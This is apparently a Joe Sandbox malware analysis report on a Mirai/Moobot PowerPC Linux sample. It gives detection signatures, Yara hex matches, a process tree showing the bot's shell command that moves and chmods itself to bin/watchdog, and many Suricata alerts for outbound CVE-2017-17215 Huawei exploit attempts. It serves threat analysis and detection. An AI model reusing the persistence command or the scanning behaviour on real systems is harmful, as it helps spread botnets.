Edit tour

Linux Analysis Report
bykReYf85u.elf

Overview

General Information

Sample name:	bykReYf85u.elf renamed because original name is a hash value
Original sample name:	592fa112ee228a7e191278838e11c1b8.elf
Analysis ID:	1486063
MD5:	592fa112ee228a7e191278838e11c1b8
SHA1:	c495a1672435d3f5a48a415180f0220c1b57ddcd
SHA256:	60c1d4db94cdfa5e5d66af4fe4ede8b07086a75049d20ad393ece00d203a6e00
Tags:	32elfmiraipowerpc
Infos:

Detection

Mirai, Moobot

Score:	100
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Detected Mirai

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Yara detected Mirai

Yara detected Moobot

Connects to many ports of the same IP (likely port scanning)

Contains symbols with names commonly found in malware

Uses known network protocols on non-standard ports

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Executes commands using a shell command-line interpreter

Executes the "chmod" command used to modify permissions

Executes the "mkdir" command used to create folders

Executes the "rm" command used to delete files or directories

HTTP GET or POST without a user agent

Sample and/or dropped files contains symbols with suspicious names

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample tries to set the executable flag

Sets full permissions to files and/or directories

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Uses the "uname" system call to query kernel version information (possible evasion)

Yara signature match

Classification

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1486063
Start date and time:	2024-08-01 15:34:12 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 5s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	bykReYf85u.elf renamed because original name is a hash value
Original Sample Name:	592fa112ee228a7e191278838e11c1b8.elf
Detection:	MAL
Classification:	mal100.troj.linELF@0/0@20/0

Warnings

HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
Report size exceeded maximum capacity and may have missing network information.
VT rate limit hit for: bykReYf85u.elf

Runtime Messages

Command:	/tmp/bykReYf85u.elf
PID:	5484
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	done.
Standard Error:

Process Tree

system is lnxubuntu20

bykReYf85u.elf (PID: 5484, Parent: 5406, MD5: ae65271c943d3451b7f026d1fadccea6) Arguments: /tmp/bykReYf85u.elf

bykReYf85u.elf New Fork (PID: 5486, Parent: 5484)

sh (PID: 5486, Parent: 5484, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "rm -rf bin/watchdog && mkdir bin; >bin/watchdog && mv /tmp/bykReYf85u.elf bin/watchdog; chmod 777 bin/watchdog"

sh New Fork (PID: 5488, Parent: 5486)

rm (PID: 5488, Parent: 5486, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -rf bin/watchdog

sh New Fork (PID: 5489, Parent: 5486)

mkdir (PID: 5489, Parent: 5486, MD5: 088c9d1df5a28ed16c726eca15964cb7) Arguments: mkdir bin

sh New Fork (PID: 5490, Parent: 5486)

mv (PID: 5490, Parent: 5486, MD5: 504f0590fa482d4da070a702260e3716) Arguments: mv /tmp/bykReYf85u.elf bin/watchdog

sh New Fork (PID: 5491, Parent: 5486)

chmod (PID: 5491, Parent: 5486, MD5: 739483b900c045ae1374d6f53a86a279) Arguments: chmod 777 bin/watchdog

bykReYf85u.elf New Fork (PID: 5492, Parent: 5484)

bykReYf85u.elf New Fork (PID: 5494, Parent: 5492)

bykReYf85u.elf New Fork (PID: 5496, Parent: 5492)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Name	Description	Attribution	Blogpost URLs	Link
MooBot		No Attribution	https://blog.netlab.360.com/ddos-botnet-moobot-en/ https://blog.netlab.360.com/moobot-0day-unixcctv-dvr-en/ https://blog.netlab.360.com/some_details_of_the_ddos_attacks_targeting_ukraine_and_russia_in_recent_days/ https://media.defense.gov/2024/Feb/27/2003400753/-1/-1/0/CSA-RUSSIAN-ACTORS-USE-ROUTERS-FACILITATE-CYBER_OPERATIONS.PDF https://otx.alienvault.com/pulse/6075b645942d5adf9bb8949b	https://malpedia.caad.fkie.fraunhofer.de/details/elf.moobot

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
bykReYf85u.elf	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
bykReYf85u.elf	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
bykReYf85u.elf	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
bykReYf85u.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
bykReYf85u.elf	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x114c0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x114d4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x114e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x114fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11510:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11524:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11538:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1154c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11560:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11574:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11588:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1159c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x115b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x115c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x115d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x115ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11600:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11614:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11628:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1163c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11650:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F

Memory Dumps

Source	Rule	Description	Author	Strings
5484.1.00007fa5c0001000.00007fa5c0015000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
5484.1.00007fa5c0001000.00007fa5c0015000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5484.1.00007fa5c0001000.00007fa5c0015000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5484.1.00007fa5c0001000.00007fa5c0015000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x114c0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x114d4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x114e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x114fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11510:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11524:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11538:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1154c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11560:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11574:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11588:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1159c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x115b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x115c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x115d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x115ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11600:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11614:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11628:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1163c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11650:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: bykReYf85u.elf PID: 5484	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
Process Memory Space: bykReYf85u.elf PID: 5484	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: bykReYf85u.elf PID: 5484	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
Process Memory Space: bykReYf85u.elf PID: 5484	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x1730:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1744:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1758:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x176c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1780:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1794:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17a8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17bc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17d0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17e4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17f8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x180c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1820:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1834:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1848:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x185c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1870:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1884:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1898:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x18ac:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x18c0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Click to see the 3 entries

Suricata Signatures

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 12.5.237.45

Timestamp:	2024-08-01T15:35:20.204525+0200
SID:	2835222
Source Port:	44670
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.159.10.251

Timestamp:	2024-08-01T15:35:50.559113+0200
SID:	2835222
Source Port:	35036
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.76.55.249

Timestamp:	2024-08-01T15:36:22.459237+0200
SID:	2835222
Source Port:	59448
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.195.253.16

Timestamp:	2024-08-01T15:36:24.447413+0200
SID:	2835222
Source Port:	38386
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 108.132.195.32

Timestamp:	2024-08-01T15:36:06.700403+0200
SID:	2835222
Source Port:	42202
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.40.26.61

Timestamp:	2024-08-01T15:36:53.743392+0200
SID:	2835222
Source Port:	56342
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.62.154.132

Timestamp:	2024-08-01T15:35:21.876335+0200
SID:	2835222
Source Port:	53958
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 38.125.81.98

Timestamp:	2024-08-01T15:35:21.864290+0200
SID:	2835222
Source Port:	43190
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.122.181.46

Timestamp:	2024-08-01T15:36:39.036602+0200
SID:	2835222
Source Port:	36076
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.226.213.137

Timestamp:	2024-08-01T15:35:16.814765+0200
SID:	2835222
Source Port:	40560
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 78.165.150.72

Timestamp:	2024-08-01T15:36:00.732188+0200
SID:	2835222
Source Port:	54832
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.0.183.80

Timestamp:	2024-08-01T15:36:20.304192+0200
SID:	2835222
Source Port:	51528
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.77.234.9

Timestamp:	2024-08-01T15:36:18.253720+0200
SID:	2835222
Source Port:	47218
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 20.52.179.216

Timestamp:	2024-08-01T15:35:21.889659+0200
SID:	2835222
Source Port:	34356
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.123.215.36

Timestamp:	2024-08-01T15:35:50.300463+0200
SID:	2835222
Source Port:	45588
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 168.204.229.155

Timestamp:	2024-08-01T15:35:16.933538+0200
SID:	2835222
Source Port:	47826
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.152.239.61

Timestamp:	2024-08-01T15:35:20.206974+0200
SID:	2835222
Source Port:	52318
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.241.175.134

Timestamp:	2024-08-01T15:35:21.886890+0200
SID:	2835222
Source Port:	53172
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.36.124.28

Timestamp:	2024-08-01T15:35:37.354900+0200
SID:	2835222
Source Port:	40702
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.66.197.74

Timestamp:	2024-08-01T15:35:20.545450+0200
SID:	2835222
Source Port:	55946
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 86.104.252.94

Timestamp:	2024-08-01T15:36:15.149238+0200
SID:	2835222
Source Port:	43636
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.190.45.228

Timestamp:	2024-08-01T15:35:58.618628+0200
SID:	2835222
Source Port:	42780
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.54.229.169

Timestamp:	2024-08-01T15:35:21.928420+0200
SID:	2835222
Source Port:	35858
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.244.133.200

Timestamp:	2024-08-01T15:36:31.137516+0200
SID:	2835222
Source Port:	45332
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.169.136.60

Timestamp:	2024-08-01T15:36:01.670514+0200
SID:	2835222
Source Port:	53506
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.85.236.187

Timestamp:	2024-08-01T15:35:23.778808+0200
SID:	2835222
Source Port:	55252
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.103.32.247

Timestamp:	2024-08-01T15:35:43.308791+0200
SID:	2835222
Source Port:	52954
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.217.31.144

Timestamp:	2024-08-01T15:36:15.139899+0200
SID:	2835222
Source Port:	54414
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.108.26.212

Timestamp:	2024-08-01T15:35:23.854301+0200
SID:	2835222
Source Port:	38626
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.31.68.179

Timestamp:	2024-08-01T15:35:48.347999+0200
SID:	2835222
Source Port:	36528
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 80.200.121.68

Timestamp:	2024-08-01T15:35:20.574979+0200
SID:	2835222
Source Port:	46700
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.109.220.125

Timestamp:	2024-08-01T15:35:21.890048+0200
SID:	2835222
Source Port:	38160
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.38.181.108

Timestamp:	2024-08-01T15:35:20.545446+0200
SID:	2835222
Source Port:	38288
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.183.233.178

Timestamp:	2024-08-01T15:36:55.999575+0200
SID:	2835222
Source Port:	42064
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.116.156.209

Timestamp:	2024-08-01T15:35:21.828982+0200
SID:	2835222
Source Port:	53904
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.176.27.47

Timestamp:	2024-08-01T15:36:22.368987+0200
SID:	2835222
Source Port:	57864
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.50.105.25

Timestamp:	2024-08-01T15:36:34.860417+0200
SID:	2835222
Source Port:	41182
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.67.188.155

Timestamp:	2024-08-01T15:36:24.439757+0200
SID:	2835222
Source Port:	46542
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.113.100.5

Timestamp:	2024-08-01T15:35:17.058730+0200
SID:	2835222
Source Port:	45810
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.97.234.242

Timestamp:	2024-08-01T15:35:17.038193+0200
SID:	2835222
Source Port:	54376
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 76.79.65.175

Timestamp:	2024-08-01T15:35:20.206147+0200
SID:	2835222
Source Port:	41128
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.126.142.21

Timestamp:	2024-08-01T15:36:24.714361+0200
SID:	2835222
Source Port:	59196
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 59.146.160.181

Timestamp:	2024-08-01T15:35:20.204697+0200
SID:	2835222
Source Port:	34438
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 63.182.26.190

Timestamp:	2024-08-01T15:35:20.206917+0200
SID:	2835222
Source Port:	39296
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 211.90.63.224

